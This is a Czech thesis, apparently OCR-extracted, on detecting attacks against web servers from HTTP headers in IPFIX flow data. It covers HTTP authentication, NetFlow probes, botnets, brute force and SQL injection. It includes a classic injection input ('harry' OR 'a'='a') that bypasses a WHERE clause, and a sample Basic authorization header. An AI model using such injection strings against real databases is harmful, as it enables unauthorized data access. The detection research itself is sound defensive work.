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Abstrakt

Tato experimentalni prace popisuje komunikacni protokol HTTP a jeho nasledna rozsifeni.
Pomoci monitorovani sitovych tokd je mozné ziskat informace o HTTP komunikaci
v podobé IPFIX. Detekce probiha nad jiz nasbiranymi daty (Post Mortem). Tyto data jsou
pozity pro detekci utoku na webovy server. Obsahuji rozsifené atributy, zejména HTTP
hlavicky, pomoci nichz lze takovy tok zaznamenat. Hlavnim cilem této prace je navrhnout
feSeni pro detekci sitovych Gtokl analyzou HTTP hlavicek. Vyslednou detekéni aplikaci
nasledn¢ otestovat a porovnat s jiz existujicim feSenim.

Abstract

This experimental thesis describes cummunication protocol HTTP a its following
extensions. Using monitoring network flows is able to obtain information about HTTP
communication in the form of IPFIX. The detection takes place over already colleted data
(Post Mortem). These data are used to detect attacks on a web server. Data contain extended
attributes especially HTTP headers with which is able to detect such an attack. The main
objective of this work is to propose solutions for detecting network attacks by analyzing
HTTP headers. Afterward test final detection application and compare it with existing
solution.
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1 Uvod

Pro administratory velice uzitecné a v dnesni dobé bézny zptisob sledovani siti je monitorovani
na zaklad¢ IP tokd, kde ziskané informace jde vyuzit ke komplexnimu pohledu na sit'. Pomoci
statistik 1ze vypozorovat rizné anomalie vyskytujici se na siti. Je také mozné sledovat provoz
hloubgji a predejit tak riznym utokiim na servery. Diky nejvyssim NetFlow verzim lze
zaznamenavat také uzitecné Casti aplikacnich protokolt, jak je tomu naptiklad u webovych
servert S aplikacnim protokolem HTTP, kde uzite¢né informace pro sledovani lezi v jeho
hlavickach.

Protokol HTTP a jeho pouziti je popsano v kapitole 2, kde je také vysvétlen princip
udrZeni stavu komunikace v jinak bezstavovém protokolu. Dale jsou uvedeny informace
0 klientskych souborech vytvarenych serverem — cookies, Sifrované HTTP spojeni a také
autorizace.

Monitorovani sité na zakladé IP tokti s pouzitim IPFIX, kter¢ je desatou verzi NetFlow,
jeho moznostech pouziti a zptisobu sbéru dat jsou obsazeny v kapitole 3. V této kapitole je také
popsana samotna sonda pro sbér dat, informace o jednotlivych HTTP hlavickach, které jsou
obsazené v IPFIX zaznamu a nastroj NFDUMP.

Botnet sité¢ a jeji typy jsou popsany v kapitole 4. Tato kapitola dale obsahuje popis
topologii, jednotlivé typy utoktl a protiopatteni proti nim.

V soucasnosti jsou utoky na webové servery vedeny spise za uc¢elem ukradeni identity,
vykonéani Skodlivého koédu v klientském prohlize¢i nebo serveru ¢i vykradeni citlivych
informaci. Rizné typy utoku a jejich nejcastéjsi podoby vyskytu jsou rozebrany v kapitole 5.
Utoky se provadi jak jiz pomoci hrubé sily, vlozenim do stranky $kodlivé &asti kédu nebo
pouze jeho vykonanim ve webové aplikaci. Opatieni proti takovym akcim byva zpravidla
na aplikac¢ni Grovni, kde se v daném programovacim jazyce musi ovéfovat nediivéryhodné
uzivatelské vstupy popft. vystupy.

Pfi pouziti monitorovani sit¢ 1ze utoky zachytdvat jesté dfive, nez dorazi k cilovému
webovému serveru. A tim v prvni fad€ odlehcit zatézi na dany server a dale napft. pii sprave
vice servert v jedné podsiti provadét sdruzenou analyzu spojenou s vytvarenim black-listu IP
adres aj. Zpusoby detekce riznych ttokti na webové servery jsou rozebrany v kapitole 6.

Cilem prace je vytvofit skripty pro detekci utokd na webové servery, ktery bude dané
utoky identifikovat a informovat administratora. V nékterych piipadech se muze jednat
0 sporné situace a zdanlivé podezielé chovani nemusi ustit v atok. Metody detekce a
algoritmus, ktery se snazi takovéto titoky identifikovat, jsou rozebrany v kapitole 7, ktera také
zobrazuje moznosti pouziti skriptu.

Poslednim, ale zato stézejnim bodem této prace je samotny skript otestovat a srovnat
S jiz existujicim feSenim. Testovaci sit’ spolecné s testovacimi scénafi se nachazi v kapitole 8.
Tato kapitola také zhodnocuje dosazené vysledky a porovnava tspésnost detekce vytvoreného
skriptu s jiz existujicim feSenim. Také vyhodnocuje moznosti a zpusoby detekce.



1.1 Motivace

Webové servery jsou v soucasnosti ve veifejné sféfe nejnavstévovanéjSim typem serveru.
Servery jsou dimenzovany pro bézny provoz s ohledem na piredpokladané vytizeni.
Pti vyraznéjsim piekroceni téchto hodnot mize dojit k vypadku serveru nebo nedostupnosti
sluzeb nékterym uzivatelim. Toto se muize stat napi. pii Bruteforce Gtoku (viz kapitola 5.1),
kdy je na server odeslano mnoho pozadavku za kratky ¢as. Z IPFIX dat ziskanych z NetFlow
sond a jejich nasledné analyzy detekovat titok a popf. jej zastavit (napi. zahazovanim paketi
patficim utoku).

Tato prace je experimentalni, avSak vysledky prace mohou byt pouzity pro redlné
nasazeni v kooperaci se softwarovou nebo hardwarovou NetFlow sondou respektive jejich
kolektorem. Prace probiha ve spolupraci s firmou Flowmon Networks, a.s., ktera zapujcila
softwarovou NetFlow sondu a k ni softwarovy kolektor.

1.2 Cil

Cilem této prace je prozkoumat mozné utoky na webové servery, jejich pribéhy a klicové
informace obsazené v jednotlivych HT TP hlavickéach. Poté navrhnout feSeni, které analyzou
IPFIX dat nasbiranych pomoci NetFlow sond/y detekuje Gitok na webovy server z informaci
obsazenych v HTTP hlavickéach. Detekce miize probihat jak online (za béhu v redlném case)
nebo offline (Post Mortem), kdy data jsou nejprve nasbirana a pozdéji se ovéiuje, zda v dané
dobé nedoslo k utoku.



2 Komunikac¢ni protokoly

Tato kapitola popisuje hlavni komunikacni protokol webovych serveru s klienty, kterym je
HTTP protokol. V této praci jsou analyzovany jeho piijimané hlavicky od klientského
prohlizece, ze kterych je mozné vysledovat probihajici ttok na dany webovy server.

2.1 HTTP protokol

HTTP (celym nazvem HyperText Transfer Protocol) [1] je bezstavovy protokol, ktery pouziva
standardné port 80. Vyuziva spojované pfipojeni pomoci TCP!. HTTP ve verzi 1.1 [2] je jeden
Z nejpouzivangjSich protokolt soucasnosti. Ke komunikaci se vyuziva Cisté textovych zprav.
Samotny protokol neumoziuje Sifrovani, proto pro zabezpeceni se vyuziva HTTPS protokol.

Komunikace probiha formou dotaz-odpovéd. Uzivatel (klientsky prohlize¢) odesle
serveru dotaz, ktery obsahuje oznaceni pozadovaného dokumentu a také nékteré informace
identifikujici klienta (viz dale). Server poté odpovi pomoci hlavicek, které mohou obsahovat,
zda pozadovany dokument byl nalezen, jeho typ a pfipoji informace identifikujici dany server.
Za hlavickou nasleduji samotna data pozadovaného dokumentu. V piipadé nasledujiciho
dotazu od klienta (napf. pozadavek na jiny dokument) se bude jednat o dalsi, zcela nezavisly
dotaz a k nému odpovéd’. Vzhledem k tomu, Ze server nedokaze rozpoznat, jestli jakékoliv dva
dotazy spolu souvisi (neumi uchovavat stav komunikace) - oznacuje se protokol jako
bezstavovy. S ohledem na tyto skute¢nosti a problémem, jak si uchovat informace o identité
klienta, je protokol HTTP rozsifen o tzv. cookies (viz kapitola 2.1.2), které umoziuji
uchovavat informace o stavu komunikace na strané klienta v podob¢ malych souborti.

Mezi informace identifikujici klienta (¢astecné urceni totoznosti) patii polozka ,,User-
Agent“, ktera serveru sdé€luje informaci o pouzivaném klientském prohlize¢i (dale jen
prohlizec), operanim systému a jejich verzich.

HTTP definuje n¢kolik metod, které se maji provést nad pozadovanym dokumentem.
Nejpouzivangjsi metodou je GET, ktera odesila pozadavek na ziskani daného dokumentu
S moznymi parametry dotazu. Dale HEAD, kterd je stejnd jako GET, ale s tim rozdilem, Ze
odpovéd’ neobsahuje télo zpravy. Dalsi, neméné diilezitou metodou, je POST, kterd umoziuje
odeslani uzivatelskych dat na server. Data umoznuje posilat i metoda GET, ktera ale pfenasena
data zobrazuje jako soucast URL adresy. GET a POST jsou nejpouzivanéjsi metody HTTP
protokolu. S ohledem na bezpecnost jsou nebezpeéné metody OPTIONS a TRACE, které
umoziuji ziskat urcité informace o serveru. Prvni jmenovand odpovi na dotaz klientovi
vypsanim vSech metod, které server podporuje a druha metoda odesle kopii obdrzeného
pozadavku - toho se také vyuziva napt. pii Gtocich na webové servery. Dalsi nebezpecnou
metodou je DELETE, kterda umoziiuje vymazani dokumentu ze serveru (pro pouziti této
metody jsou potfebna urcitd opravneéni) a PUT, ktera slouzi pro nahrani dat na server. Posledni
metodou je CONNECT pro vytvoreni HTTP tunelu, ktera se pouziva pfi prichodu skrz proxy

! Transmission Control Protocol - https://tools.ietf.org/html/rfc793



server?. Servery obvykle neimplementuji vSechny zminéné metody. Aby servery byly
Vv souladu se specifikaci HTTP 1.1, musi implementovat alespoiit metody GET a HEAD.

2.1.1 HTTP Session

Session [3] v HTTP dava webovému serveru moznost ulozit si informace o jednotlivych
Klientech, ktefi k nému pfistupuji. Je piedavano dvéma zplisoby — jako cookie nebo
parametrem v adrese. Zptisob jakym se session bude pfenaset a jaky bude mit nazev, nastavuje
webovy server. Pomoci identifikatoru ulozeného do cookie v podobé SESSIONID (SESSID,
SID apod.) Ize na serveru dohledat informace o daném klientovi. Podstatné je, Ze samotna data
se nepfenaseji, jsou ulozena na serveru.

2.1.2 Cookies

Cookies [3] jsou klicovou soucasti HT TP protokolu. Umoziuji webovému serveru odeslat data
Klientovi (prohlizeci), které si lokaln¢ ulozi a pti dalsi zadosti odesila zpatky serveru. UZivatel
nemiize jednoduse modifikovat obsah jednotlivych cookie, ale je to mozné. Velk4 nevyhoda
je ta, Ze moderni prohlizece umoziuji vypnuti uklddani cookies. Vyhodou naopak je, Ze se
nepiendsi v téle pozadavku, ale jako hlavicka.

2.1.3 HTTPS protokol

HTTPS protokol je syntakticky identicky s HTTP protokolem. Pouziva se pro bezpetnou
komunikaci ptes pocitacovou sit. Pozaduje po prohlizeci, aby pouzil Sifrovaci metodu
SSL/TLS?® k prenosu dat. Hlavnim cilem HTTPS je autentizace navitivené stranky, ochrana
soukromi a zajiSténi integrity dat — komunikace nemutize byt pfectena ani zfalSovana tieti
stranou. Poskytuje obousmérné koddovani komunikace mezi prohlizeCem a serverem.

2.2 HTTP autorizace

Existuji dvé HTTP autorizaéni schémata [4] — basic (zakladni) pro autorizaci pomoci formulare
a digest, které se zejména pouziva pii sezeni Sifrovaného pomoci SS. Utoénik pro ziskani
ptihlasovacich udaji nejéastéji vyuzije techniky Bruteforce (viz kapitola 5.1). Uzivatel zadava
prihlaSovaci udaje pii vyzve prohliZzece, nebo pii odpovédi serveru s té€lem zpravy obsahujicim
formular. Muze také uvést tyto tidaje jako soucast URL adresy a to v podobé fetézce
obsahujiciho v potadi protokol, ptihlaSovaci jméno a heslo oddé€lené¢ dvojteCkou, poté
oddélovac v podobé zavinaCe a nasledné¢ URL adresa serveru s cestou Kk souboru. Ptiklad
takové adresy, symbolicky zapsano, vypada nasledovné.

http://prihlasovaci jmeno:heslo@adresa serveru/cesta k souboru

Zakladni pfistupova autorizace piedpoklada, Ze se wuzivatel prokaze svym
pfihlaSovacim jménem a heslem. Kdyz se uzivatel pokusi pfistoupit na takto chranénou

2 Proxy server - http://whatis.techtarget.com/definition/proxy-server
3 Transport Layer Security - https://tools.ietf.org/html/rfc5246



stranku, webovy server odpovi zpravou s kédem 401 — Authorization Required, obsahujici
hlavicku ,,WWW-Authenticate* urCujici oblast pfistupu (polozka ,,realm®). Prohlize¢ poté
vyzve uzivatele k zadani piihlaSovacich udaji. Pozadavek na stranku vypadéa obdobné¢ jako ten
pocate¢ni, jen s tim rozdilem, Ze se pfida hlavicka ,,Authorization* obsahujici pfihlasovaci
tdaje ve formé login:heslo zakédované metodou base64*. Server porovna piijaté uidaje s daty
Vv databazi. V piipad¢ shody zasle klientovi pozadovany obsah. KdyZz autorizace selze, server
odpovi stejnou zpravou s kodem 401. V piipadé odposlechnuté konverzace Ize jednoduse
pouzit base64 dekodér k ziskani autoriza¢nich udaju.

Digest pfistupova autorizace rozSifuje zakladni pouzitim jednosmérného
kryptografického hasovaciho algoritmu (MDS5%) k zakoédovéani autoriza¢nich dat a piidanim
jedinecné hodnoty nastavené serverem - nonce. Tato hodnota je vyuzita prohlizeCem
pii vypoctu hasované hodnoty hesla, zatimco piihlasSovaci jméno je pfendseno neSifrovang.
Digest technika znemoziuje vyuziti metody ,,replay attack* (odposlechnuti komunikace a jeji
pozd¢jsi opakovani).

Prohlize¢ odesila pozadavek na stranku - spolecné pro oba autoriza¢ni schémata.

GET /admin/index.php HTTP/1.1
Host: target.com

Prvni piiklad ukazuje pouziti zakladni autorizace, kdy server odpovi s pozadavkem
na zakladni autorizaci s fetézcem uréujicim oblast piistupu. Poté jiz prohlize¢ odesila
pozadavek i s autorizaCnim fetézcem.

HTTP/1.1 401 Authorization Required
WWW-Authenticate: Basic realm="Admin Realm"

GET /admin/index.php HTTP/1.1
Host: target.com
Authorization: Basic YWRtaW46cGFzc3dvcmQ=

V dal§im piikladu je zobrazeno pouziti digest autorizace.

4 The Basel16, Base32, and Base64 Data Encodings - https://tools.ietf.org/html/rfc3548
°> The MD5 Message-Digest Algorithm - https://tools.ietf.org/html/rfc1321



HTTP/1.1 401 Unauthorized
WWW-Authenticate: Digest realm=" Admin Realm",
nonce="Ny8yLzIwMDIgMzoyNjoyNCBQTQ",
opaque="0000000000000000", \
stale=false,
algorithm=MD5,
gop="auth"
GET /admin/index.php HTTP/1.1
Host: target.com
Authorization: Digest username="admin",
realm="Admin Realm",
gop="auth",
algorithm="MD5",
uri="/admin/index.php ",
nonce="Ny8yLzIwMDIgMzoyNjoyNCBQTQ",
nc=00000001,
cnonce="c51b5139556£939768f770dab8e5277a",
opaque="0000000000000000",
response="2275a9ca7b2dadf252afc79923cd3823"

Autentizace pomoci formulafe vyuziva vlastni postupy oveétovani na aplikacni urovni
s cilem dosahnout propracovanéjsiho zpiisobu ovérovani, které je dosahovana upravou HTML
dokumentu a néaslednym vyhodnocenim.

<form method="POST" action="login">
<input type="text" name="username">
<input type="password" name="password">
</form>



3  Monitorovani sitovych toku

Monitorovani sitovych toku uzce souvisi s detekci Gtokl. Sbér informaci o provoze, které
mohou byt dale zpracovany jak pro statistiky, tak i pro detekci riznych anomalii. Monitorovani
sité mize byt bud’ aktivni, nebo pasivni. Pi aktivnim piistupu se vyuzivaji nastroje jako Ping®,
pfi pasivnim se jen pozoruje prochazejici provoz [5]. Monitorovani na zaklade¢ pakett je jeden
Z pasivnich pfistupl, kdy je prochdzejici paket dale zkoumdén. Pfi dneSnich rychlostech
sitovych linek, které mohou bez problémi dosahovat rychlosti 100Gbps, je naroc¢né
monitorovat sité na zakladé paketd (doba zpracovani, pamétové naroky aj.), proto se provadi
monitorovani na zdkladé tokd. Toto monitorovani patii také mezi pasivni.

V této praci se pouzivaji data ulozena softwarovou NetFlow sondou ve formatu IPFIX,
ktera jsou filtrovana nastrojem NFDUMP a dale zpracovavana skriptovacim jazykem BASH.
Ukazka propojeni klientd s webovym serverem je zobrazena na obrazku 3.1.

Internet

Webowy
Server

Obrazek 3.1 — Ukazka propojeni webového serveru s klienty

3.1 IPFIX

Zéakladem IPFIX (celym nazvem IP Flow Information eXport) technologie [6] je IP tok, podle
kterého jsou vytvareny statistiky. IPFIX poskytuje administratorim podrobny pohled
do provozu najejich siti v realném ¢ase. Z tohoto duvodu tvoii dulezitou ¢ast zabezpeceni
pocitacove sité. IPFIX je pomyslnou desatou verzi protokolu NetFlow, ktery se v dnesni dobé
pouziva veverzi 5 (nejpouzivanéjsi) a verzi 9, ktera umoziuje variabilitu struktury
exportovanych dat (obsahuje vSechny polozky verze 5 a dalsi volitelné polozky).

Tok je v terminologii Netflow definovan jako sekvence pakett se shodnou pétici udaju:
zdrojova a cilova IP adresa, zdrojovy a cilovy port a Cislo protokolu. Pro kazdy tok je
zaznamenana doba vzniku toku, délka jeho trvani a pocet pienesenych paket, bajti a dalsi
udaje. Typickd NetFlow architektura se sklada z ne€kolika NetFlow exportéra (sonda) a
jednoho NewFlow kolektoru. NetFlow exportér je pfipojen k monitorované lince a analyzuje

® Ping - https://cs.wikipedia.org/wiki/Ping



prochazejici pakety — ve vétSin€ piipadu je to smérovac. V piipadé pouziti smérovace je
nevyhoda ta, Ze sbér dat a vypocet statistik zabird urcity vypocetni vykon zatfizeni a tim jej
muze vyrazné zpomalovat. Proto se ve vétsSiné€ piipad pouziva vzorkovani na vstupu, které
pravdépodobnost odhaleni bezpe¢nostnich incidentti. Moderni NetFlow architektura je tvoiena
NetFlow sondami, které jen naslouchaji a analyzuji a nijak do tokt nezasahuji. Exportované
statistiky jsou na kolektor posilany odd€lenou linkou, diky které jsou na monitorované lince
zcela neviditelné. Sondy jsou diky své jednoduchosti velmi levné a je mozné je pfipojit
do libovolného bodu v siti. Na zakladé zachycenych IP toki generuje NetFlow statistiky a ty
exportuje na NetFlow kolektor. Export probihd pomoci UDP’ nebo SCTP® protokolu.
Po exportu je zaznam z exportéru vymazan, coZ ma za nasledek jeho ztratu v piipad¢, ze se
paket nepodafi dorucit. NetFlow kolektor je zafizeni s velkou uloznou kapacitou, které sbira
statistiky z typicky vétSiho po¢tu NetFlow exportéri (mlze byt jen jeden) a uklada je
do dlouhodobé databaze.

3.1.1 HTTP hlavicky obsaZené v IPFIX

wevr

URL, ktera obsahuje klientem pozadovany soubor na serveru i s cestou k nému a muze také
obsahovat polozky a hodnoty odeslané metodou GET (,,query string*). Maximalni délka byva
omezena prohlizeCem. Jako bezpecnou délku (ta kterd se urcité odesle) lze povazovat 512
znakll. Sonda pouzivana pfi této praci neuklada cely fetézec z divodu pamét'ové narocnosti,
ale pouze jeho prvnich 63 znakt. Tato skutecnost neptiznivé ovlivituje GspéSnost detekce
utoku, protoze podietézec obsahujici Skodlivou ¢ast se mize nachazet az v té Casti, kterd se
neuklada.

Dalsi polozkou je HT TP Hostname obsahujici nazev cilového serveru. Tato informace
je uzite€na pii sledovani provozu na vice serverech najednou. V ptipad€ vyskytu vice servert
Vjedné siti se mize umistit sonda nékde na jejich spolecny bod (napi. vychozi branu),
pro monitorovani v§ech najednou.

Polozka HTTP Host OS udava nazev operacniho systému klienta a jeho specifické
informace v podobé¢ ,,Major/Minor/Build Version“ - Hlavni/Vedlejsi/Revizni ¢islo verze.

Posledni z HTTP hlavicek, které sonda uklada, je HTTP Host Application, ktera
obsahuje nazev klientského prohlizece (User-Agent) [2] a dalsi informace o verzich obdobné
jako HTTP Host OS. Tato polozka poskytuje informaci o klientském prohlize¢i webovému
serveru, aby mohl poslat zpatky odpovéd’ v co mozna nejvhodnéjsim formatu, nebo které typy
souboril prohlize¢ ocekava jako ¢ast odpovedi. Pouziva se hlavné pro zajisténi kompatibility a
pouzitelnosti S webovym serverem. Tato polozka, dle [2], neni povinna, nybrz volitelna. Dale
[2] definuje pouze format, nebo syntax, kterou o¢ekava.

Ptiklad zobrazujici HTTP poZadavek na soubor ,,/path_with _desired file* umisténého
na serveru ,,target.com*. Tento poZadavek byl zaslan z klientského prohlizece Mozilla Firefox

7 User Datagram Protocol - https://www.ietf.org/rfc/rfc768.txt
8 Stream Control Transmission Protocol - https://tools.ietf.org/html/rfc4960



verze 46, bézicim na enginu Gecko. Prohlize¢ byl spustén v OS Windows NT 6.3, tj. Windows
8.1 nebo Windows Server 2012 R2, ktery je 64bitovy.

GET /path with desired file HTTP/1.1

Host: target.com

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:46.0)
Gecko/20100101 Firefox/46.0

3.2 Netflow sonda

Softwarova sonda vyuzitd v této praci, pro zaznamenavani sitové komunikace v podobé
IPFIX, byla zapijcena firmou Flowmon Networks, a.s. (dale jen Flowmon). Sonda
zaznamenava, pro tuto praci dilezité¢, HTTP hlavi¢ky popsané v ptedchozi kapitole. Soucasti
je také softwarovy kolektor, ktery umi v grafickém rezimu, ve formée tabulky, zobrazit vystupy
NFDUMPu. Nevyhody sondy z pohledu zaznamenavani HTTP hlavicek jsou omezena délka
ukladané URL adresy a ukladani polozek typ OS a klientského prohlizec¢e pouze definovanym

vyctovym typem.

3.3 NFDUMP

Nfdump je kolektor, ktery piijima a spravuje toky dat od jedné nebo vice sond. Syntax je
podobna tcpdumpu®. Zobrazuje NetFlow data, ktera muze razné filtrovat, agregovat aj.
Dale mize vytvaret statistiky toku fazené podle kteréhokoliv atributu. Umi zpracovat data
ve formatu NetFlow v5 a v9 a také, pro tuto praci dilezity, format IPFIX.

Vystupy softwaru nfdump jsou pouzité pro zpracovani dat pied samotnou detekci utoka
V této praci.

® http://www.tcpdump.org/
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4 Botnet

Jednou z ¢asti vysledku této prace je detekce botnetu, respektive ,,bot agenta™ (viz dale)
z informaci obsazenych v HTTP hlavickach. Cilem je otestovat nékteré metody detekce
botnetu (viz kapitola) a zjistit jejich Gspésnost a pouzitelnost. Botnety [7] jsou v soucasnosti
povazovany za jedno z nejvaznéjsich bezpecnostnich rizik. Botnet je mnozstvi internetem
propojenych pocitac¢ti komunikujici s dalsimi pocitaci, aby provadéli opakované ulohy. Tato
skupina pocitaci mize byt pouzita k rozesilani spamovych e-mailovych zprav, ucastnit se
DDoS utoku aj. Slovo botnet je sloZzeno ze slov robot a network.

Z kazdého pocitace ptipojeného k internetu se muze stat ,,bot“, a to tak, ze se do n¢j
dostane software z distribuce ,,malware®. Dale mize uto¢nik vyuzit zranitelnosti prohlizece
nebo uzivatele presveédci ke spusténi trojského koné. Tento ,,malware* obvykle nainstaluje
modul, ktery dovoli pocitaci byt fizen ptikazy botnet operatora. Po zavedeni infikovaného
softwaru do systému navaze komunikaci s operatorem a poté se mize sam vymazat. Uzivatelé
infikovanych pocitaci vétsinou nevédi, ze se jejich pocitace staly ,,bot agenty*.

Kontrolou nad celym botnetem je mozné fidit aktivity vSech ,,bot agenti*
pres komunikaéni kanaly tvofené standardizovanymi sitovymi protokoly jako IRC a HTTP.
Server (bot master) je znamy jako Command & Control server (zkracené¢ C&C). ,,Bot*
pievazné vyuziva skryté kanaly ke komunikaci s C&C serverem. Botnet servery jsou typicky
redundantni, Spojeny pro vétsi propustnost a aby se co nejvice snizilo riziko zastaveni §ifeni.
V soucasnosti se botnet komunity obvykle sklddaji z jednoho nebo nékolika operatorti a
spoléhaji se na individualni peer-to-peer (zkracen¢ P2P) vztahy.

V dnesni dobé se stale vice pouzivaji botnety, které vyuzivaji protokol HTTP pro C&C.
Na HTTP zaloZzen¢ C&C je centralizovano, ale ,,botmaster nekomunikuje s ,,bot agenty*
za pouziti mechanizmu chatu. Misto toho ,,bot agenti* pravidelné¢ kontaktuji C&C server/y,
aby ziskali jejich ptikazy. Centralizované C&C servery jsou pro jejich efektivnost a ti€¢innost
stale hojné pouzivané.

4.1 Topologie

Typické botnet topologie jsou hvézda (star), multi-server, hierarchie a nahodna (random) [8].

Topologie hvézda se spoléha pouze na jeden C&C centralizovany server ke komunikaci
S jednotlivymi ,,bot agenty“. Kazdy ,,bot*“ dostava instrukce ptimo od centralniho C&C
serveru. Vyhodou je rychlost komunikace. Mezi hlavni nevyhodu patfi to, Ze pti zablokovani
centralniho C&C serveru je zastaveno Sifeni botnetu.

Multi-server vyuziva vice serverti vzajemné komunikujicich. Kazdy ,,bot“ je pfipojen
k jednomu z C&C serveru. V ptipadé selhani jednoho serveru piikazy od Ostatnich serveru
pfevezmou kontrolu nad botnetem. Hlavni vyhodou je redundance a geografické rozmisténi
jednotlivych servert.

V hierarchické topologii maji ,,bot agenti* schopnost pieposlat nové instrukce od C&C
serveru dal$im ,bot agentim®. Problém byva ve zpozdéni doruceni ptikazu, pokud je
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hierarchie rozsahla. Hierarchicky botnet znamena, Ze zadny ,,bot agent™ nevi o lokaci celého
botnetu.

Botnet s nahodnou topologii (P2P) nema centralizované C&C infrastrukturu. Piikazy
jsou distribuovany od nékterych ,bot agentd“. Tyto ptikazy ,bot agenti“ automaticky
propaguji dalsim ,,bot agentim*. Vyhodou je vysoka odolnost vi¢i vypadku. Mezi nevyhody
patii zpozdéné doruceni, ale ne tak veliké jako u hierarchické topologie.

4.2 Typy utoki

Mezi nejcastéjsi typ atoku patii DDoS, kdy velké mnozstvi pocita¢ posila co mozna nejvice
pozadavkil jednomu serveru nebo sluzbé, kterou se snazi pietizit a odstavit ji, aby nemohla
odpovidat opravnénym Zadostem. Piikladem je utok na webovy server e-shopu v atraktivni ¢as
(napt. predvano¢ni vyprodej). V piipadé Gspésného DDoS tutoku webovy server nemiize
poskytovat své sluzby zdkaznikiim a tim nasledné ztréci zisk.

Adware nahrazuje aktualni reklamu bez souhlasu uZivatele reklamami jiného inzerenta
nebo v piipadé skryti reklam je znovu zobrazuje.

Spyware je software, ktery odesild informace svym tvircim o aktivité uZivatele.
Typicky hesla, ¢isla kreditnich karet a dalsi uzite¢né informace které se daji prodat. Napadené
pocitace, které se nachazeji v podnikové siti, miizou byt cennéjsi, protoze vétSinou maji ptistup
k davérnym datim.

E-mailovy spam jsou e-mailové zpravy maskované jako zpravy od lidi, ale §iti reklamu
nebo otravny ¢i Skodlivy obsah.

Click fraud (klikaci podvod) nastane v té situaci, kdy pocita¢ uzivatele samovolné
navstivi webovou stranku k vytvofeni faleSného webového provozu pro urcity zisk.

Scareware je software ktery vytvaii strach v uzivateli (vyhruzky aj.). Po instalaci mize
nainstalovat malware a vytvofit z pocitace ,,bot agenta“. Naptiklad uzivatel mize byt vyzvan
ke koupi anti-malware softwaru, ktery udajné odstrani malware z pocitace (ale provede pravy
opak), jinak do doby koupé nebude mit ptistup ke svym datim nebo systému.

4.3 Protiopatreni

Nékteré botnety implementuji vlastni verze zndmych protokold. Tyto rozdily mohou byt
pouzity pro detekci botnetd. Nalezeni nékterého ze servert s jednim botnet kandlem muze
Casto odhalit dal$i servery stejné jako jejich ,,bot agenty”. Struktura botnet serveru, ktera
postrada redundanci je zranitelnd vici do¢asnému vypadku serveru.

Nejcastéjsi pouzivané techniky jsou vypnuti C&C serverti, mazani DNS zaznamt nebo
zcela vypnuti IRC serverii. Nejnovéjsi botnety pouzivaji témeét vyhradné P2P, kde fizeni
botnetu nezavisi na externich serverech, ¢imZ se zabrani selhani pfi jednotlivém selhani
serveru. Operatoii mohou byt identifikovani jenom podle bezpecnostnich kli¢i a v§echna data,
kromé binarnich, mtizou byt Sifrovany. Napf. ,,spyware* mize ziskana data Sifrovat spole¢né
s vefejnym klicem a dale je odeslat, zatimco dekddovat je muze pouze vlastnik privatniho
klice.
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5 Utoky na webové servery

Tato kapitola popisuje nejznaméjsi typy Gtokt na webové servery. Utoky lze kategorizovat,
ale mohou se vyskytovat i jejich kombinace. Pro detekci a riizna vstupni povoleni /omezeni
dat se pouziva ,,white list“, ktery definuje validni vstupni data, nebo poptipadé ,,black list®,
ktery naopak definuje, jaka vstupni data validni nejsou. S ohledem na bezpec¢nost je u¢innéjsi
pouzivat ,,white list“, kdy v tomto piipad€ povoli jen uréitou mnozinu vstupnich dat, zatimco
u ,,black listu* lze jednoduse opomenout néktery nebezpecny vstupni fetézec. Jako vstupni
kontrola se nejcasteji pouziva kontrola ptislusnosti dat (napt. zda je vstup cislo nebo fetézec
aj.), nebo v mensi mife pouzivané regularni vyrazy, které udavaji pfesny vzor.

5.1 Bruteforce

Utok hrubou silou [9], ktery se pouziva k napadeni autentizace (uhadnuti jména a hesla) nebo
objevovani skrytého obsahu webové stranky, kdy uto¢nik testuje mozné hodnoty riznych
parametrl (napt. nazvy soubord). Tento ttok se mize vyskytnout v mnoha rtiznych formach,
ale ptredevsim spociva v tom, ze uto¢nik si predem nakonfiguruje mnozinu hodnot, které
nasledné posila serveru v podob& zadosti (request) a zkouma jeho odpovéd (response).
Standardni utok spociva v navoleni jednotlivych tfid znakt — alfanumerické, malé, ¢i velké
pismena a specialni znaky. Daleko efektivnéjsi je vyuzit tzv. slovnikovy utok, tj.
ptedptipraveny seznam moznych hodnot, ktery ale negarantuje nalezeni feSeni. Pokud se
uto¢nikovi podafi ziskat jednosmérné zaSifrovand hesla, lze pomoci slovnikového tutoku
jednotlivé hodnoty zaSifrovavat a zkouset shodnost se znamym zaSifrovanym tvarem.

S ohledem na pocet pokustl, vykonnost uto¢iciho systému a odhadované vykonnosti
systému napadaného je utocnik schopen pfiiblizné urc¢it délku trvani Utoku. Jeho hlavni
nevyhodou je Casova slozitost, kdy Cas pottebny k nalezeni feSeni roste exponencidlné
s rostouci délkou klice. Pro rychlejsi zpracovani lze vyuzit grafickych karet (GPU) [10], které
jsou dostupné a maji pfijatelny pomér cena-vykon nebo programovatelnd hradlova pole
(FPGA). Ob¢ tyto technologie se snazi vyuzit vyhody paralelniho zpracovéani. Protoze si
uzivatelé Casto voli ,,slabé heslo®, tak je tento jednoduchy zptisob utoku ¢asto tispésny.

5.2 SQL Injection

Tento typ utoku spociva ve vlozeni SQL dotazu [11] do vstupniho pole formulaie v klientské
aplikaci tak, aby bylo zménéno vykonavani preddefinovaného SQL dotazu. Usp&ny utok
dovoluje utoénikovi zobrazit, ¢i modifikovat citliva data v databazi, zni¢it nebo znemoznit
pfistup k datim a stat se administratorem daného databazového serveru. Stupen zavaznosti
tohoto typu utoku je dan Gto¢nikovymi zkuSenostmi. Chyby spojené s SQL Injection [9] jsou
hlavné v kombinaci dynamického tvofeni SQL dotazu a vstupu dat z nedtvérného zdroje.

V piiklad¢ 1ze vidét konstrukci dynamického SQL dotazu s vyuzitim proménné
,userName*“. Dotaz se chova korektn¢, pokud proménna ,,userName* neobsahuje apostrof.
Tento dotaz ma vratit pouze polozky konkrétniho vlastnika s danym jménem. Pti vloZeni
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platného jména se tak i stane — napft. vstup ,,jerry”. Pokud vSak do proménné ,,userName*
vlozime napf. ,harry' OR 'a'="a“, tak ziskame polozky od vSech uzivateld v databazi, protoze
klauzule WHERE je vzdy vyhodnocena jako pravda. Tento dotaz je logicky ekvivalentni
s dotazem bez klauzule WHERE. Toto zjednoduseni dotazu dovoluje uto¢nikovi obejit
podminku vraceni pouze polozky dané¢ho autentizovaného vlastnika.

string query = "SELECT * FROM items WHERE owner = '" +
userName + "'";
SELECT * FROM items

WHERE owner = 'harry' OR 'a'='a';

SELECT * FROM items;
